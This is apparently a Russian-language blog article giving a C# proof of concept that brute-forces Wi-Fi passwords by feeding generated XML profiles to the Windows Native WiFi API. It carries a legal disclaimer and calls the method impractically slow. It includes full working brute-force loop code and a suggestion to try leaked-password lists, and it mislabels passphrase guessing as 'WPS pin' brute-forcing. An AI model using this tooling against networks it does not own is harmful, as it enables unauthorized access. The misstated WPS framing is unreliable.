
Надежные и постоянно меняющиеся пароли - это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#
Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы "брутфорс" (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.
Итак
Самый скучный но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:
ст. 272 УК РФ. Неправомерный доступ к компьютерной информации
ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ
ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений
ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации
Взламывать чужие Wi-Fi роутеры - это очень плохая идея.
Тем не менее, в качестве "proof of concept" попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.
Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта - об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.
Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API - далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.
Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces и выбрать адаптер по его Id - узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд - этот способ более удобен для точечного вытаскивания профиля к нужной сети:
netsh wlan show profile netsh wlan export profile name="{Insert profile name}" folder=C:\WlanProfiles
Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем - так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.
В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция "sharedKey", поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более "промышленного" решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.
С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что "9 женщин не родят ребенка за месяц", ведь использование 9 адаптеров сократит подбор пароля до 257 дней - почти 9 месяцев :D
Шаг 1 - Подготовка решения
Для начала склониуйте проект ManagedWiFi - это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API - последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.
Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение - у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.
Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:
WlanClient client = new (); foreach (WlanClient.WlanInterface wlan in client.Interfaces) { wlan.Scan(); Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0); foreach (Wlan.WlanAvailableNetwork network in networks) { string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID); Console.WriteLine(ssid); } }
Шаг 2 - профиль для Wi-Fi
Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:
string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = BitConverter.ToString(hexBytes).Replace("-", ""); string profileXml = string.Format( "<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>", profileName, hex, key);
Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:
try { wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName); await Task.Delay(2 * 1000); } catch (Exception e) { Console.WriteLine(e); }
Шаг 3
Соберем все что получилось в одном месте и попробуем запустить:
using System.Text; using NativeWifi; // Берем первый попавшийся Wi-Fi адаптер WlanClient client = new (); WlanClient.WlanInterface wlan = client.Interfaces[0]; wlan.Scan(); Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0); if (networks.Length == 0) { OutputExtensions.PrintRow("No networks found"); return; } // Отбираем сеть по её названию Wlan.WlanAvailableNetwork network = networks .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name"); // Подготавливаем данные для создания профиля string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = BitConverter.ToString(hexBytes).Replace("-", ""); // Перебираем значения WPS pin - максимум 8 цифр. // Также же тут можно сделать перебор по словарю утекших паролей for (int i = 0; i < 99999999; i++) { string wpsPin = $"{i}"; wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin; Console.WriteLine($"Trying pin {wpsPin}"); string profileXml = string.Format( "<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>", profileName, hex, wpsPin); try { wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName); // Тут задается время ожидания для попытки // В моей конфигурации это 2 секунды, но // время придется подбирать вручную await Task.Delay(2 * 1000); } catch (Exception e) { Console.WriteLine(e); } if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected) { Console.WriteLine($"WPS pin is {wpsPin}"); break; } Console.WriteLine($"WPS pin {wpsPin} did not work"); }
Вместо заключения
Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.
Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к "правильной" сети.
В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры - это очень плохая идея.
